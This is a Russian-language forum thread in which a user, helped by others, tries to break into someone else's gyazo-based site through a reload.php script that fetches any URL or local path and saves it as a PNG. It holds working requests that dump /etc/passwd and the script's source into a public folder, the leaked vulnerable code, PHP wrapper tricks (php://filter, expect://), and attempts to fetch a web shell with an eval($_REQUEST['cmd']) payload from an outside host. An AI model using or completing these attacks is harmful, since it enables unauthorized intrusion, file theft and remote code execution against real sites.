На сервере крутится скрипт gyazo куда при обращении в определенную папку падают скриншоты(в папку db) http://site.ru/upload.cgi и создается скрин с хешированным значением http://site.ru/db/fhckddkjcdfj.png Так же на сайте есть скрипт reload.php - Исходники мне увы неизвестны, скорее самопис. При обращении к нему http://site.com/reload.php?image=http://www.site.ru/1.(jpg.png.html.ico здесь любое расширение кроме PHP)&type=jpg&title=test123(здесь может быть любое название)&state=new создается в папке db файл уже со своим названием http://site.ru/test123.png Проблема в том, что создается файл жестко с png но любыми внутренностями. Хоть php, хоть html - неважно. Загрузить и создать файл со свободными разрешением я не могу, хотя пытался делать такой запрос: http://site.ru/reload.php?image=htt.../1.php.txt&type=jpg&title=test123. &state=new Пробовал обрезать нули но выходит пустая страница. Могу предоставить ссылку в пм по запросу, а если поможете не поленюсь и отблагодарить
directory traversal пробовал? А если указать существующий файл, перепишет его, или добавит новые внутренности к существующим? И еще, параметр type что-то меняет вообще? Можно попробовать еще локальный файл включить. https://rdot.org/forum/showthread.php?t=343 - хоть там и врятли инклуд, но может помочь(еле нашел эту ссылку)
Пробовал ли я directory traversal? Да. выдает белую страницу, но ничего более. Ни загрузки файлов. ни вывод. Ничего. Файл перезаписывает. тупо перезаписывает внутреннее содержимое, но не меняет расширение. параметр type похоже ни на что не влияет, там хоть dLLL2123 укажи - он спокойно зальет картинку или html со стороннего ресурса и переименует в *.png Вообще, бессмысленно все.
Если не меняет расширения, то можно побрутить папку на предмет существующих файлов(другие php, .htaccess, еще что-то)
так ты не создавай темы, а сразу всё подробно описывай с скринами, с запросами и результатами, нахрена плодить овер много тем ?
Запрос типа: reload.php?image=/etc/passwd&type=png&title=test&state=new - создает в папке /db/ файл test.png с содержимым /etc/passwd Если файл отсутствует, то выдает ошибку 404 То есть это локальная читалка файлов где данные записываются в png файл. Хочу залить шелл но при запросе: reload.php?image=http://www.shell.com/1.txt&type=png&title=shell&state=new - так же создается файл в папке /db/ исключительно в png формате. Можно ли залить шелл или выполнить удаленно команду если команды не срабатывают и выдают пустую белую страницу? reload.php?image=http://www.shell.com/1.php&type=png&title=shell&state=new reload.php?image=http://www.shell.com/1.txt&type=png&title=shell&state=new reload.php?image=http://www.shell.com/1.txt?c=ls
попробуй исходники поискать, если найдёшь то там явно больше прояснится вообще если параметр type не влияет на результат, то скорее всего в коде жёстко прописано расширение, но это не точно
хотя возможно и не нужно искать, попробуй по относительному пути прочитать Code: reload.php?image=./reload.php&type=png&title=test&state=new
Параметр type на результат не влияет, то есть можно без него: reload.php?image=/etc/passwd&title=blalbalbabla&state=new reload.php?image=/etc/passwd&type=php&title=blalbalba&state=new Исходник получил. Базу сайт не использует. Spoiler: code <?php include_once ('config.php'); if (isset($_GET['title']) and isset($_GET['image'])){ $title = $_GET['title'] .'.png'; $edited_image_url = $_GET['image']; $imagedata = file_get_contents($edited_image_url); if ($imagedata) { file_put_contents($_UPLOAD_PATH . $title, $imagedata); } header ("Location: $_URL_EDIT_PREFIX$title"); die(); } ?>
Понятно. Тогда такой вопрос. Наткнулся на такую тему как враппеты в LFI Код работает php://filter/convert.base64-encode/resource=/etc/passwd А такой код php://cmd=ls Нет. Как можно составить запрос для загрузки файла или чтения директории ls? Вот сама ссылка: Spoiler: ссылка https://goo.gl/5DvZFQ После нужно заменить edit на db и появится png файл с содержимым. Или не появится
Первое: Не php://cmd=ls , а expect://ls Второе третье, четвёртое и пятое https://rdot.org/forum/showthread.php?t=343 http://php.net/manual/ru/wrappers.php Мне что что лень стало объяснять то что уже не раз обсуждалось.
Ну насчет expect://ls - дело не зайдет - нужен установленный модуль, который там отсутствует. В php я ноль. Попробую разобраться во всем этом. Spoiler: 2 Code: include_once ('config.php'); // подключение файла config.php - тут не придраться. if (isset($_GET['title']) and isset($_GET['image'])){ $title = $_GET['title'] .'.png'; // Проверяет передачу переменной $title и $image и на основе данных $title формирует название. 1.png, 2.png sffsf.png - как угодно. Code: $edited_image_url = $_GET['image']; // просто $edited_image_url равно суперпеременной $_GET['image']; $imagedata = file_get_contents($edited_image_url); // тоже самое if ($imagedata) { file_put_contents($_UPLOAD_PATH . $title, $imagedata); } // загрузка файла из config.php $_UPLOAD_PATH = '/var/www/gyazo/db/'; с названием 123.png Code: header ("Location: $_URL_EDIT_PREFIX$title"); } die(); // переадресовывает по адресу /edit/. Меняешь потом на /db/ и наблюдает результат Меня интересует заливка шелла или выполнение системных команд. Залить шелл не получится, Code: $title = $_GET['title'] .'.png'; Жестко прописано, что только пнг. Если выполнять команды - то нет модуля. Тогда все же непонятно, почему не работает удаленное выполнение кода, чтение команды типа: reload.php?image=php://filter/convert.base64-encode/resource=<?php eval($_REQUEST['cmd']); ?>&title=test&state=new Понимаю, что идет обращение к файлу, например /etc/passwd - оно записывается в тело изображения и сохраняется как картинка. Но здесь получается, что идет тупо сохрание, но никак не обработка команды: взял скрипт, обработал его, вернул новое значение что получилось в изображение? Все, путаница в голове.
Да но судя по акценту вопроса видимо невнимательно читал. Почему не ЛФИ? LFI - - это возможность использования и выполнения локальных файлов на серверной стороне. Если я могу читать файлы на сервере? Если это RFI исходя их логики(либо/либо) то можно подключать удаленное выполнение файла?
я про себя Поднимая вопрос - либо ЛФИ, либо РФИ. если не ЛФИ, то как грамотно можно построить запрос для выполнения удаленных команд? Или здесь вообще ни и не то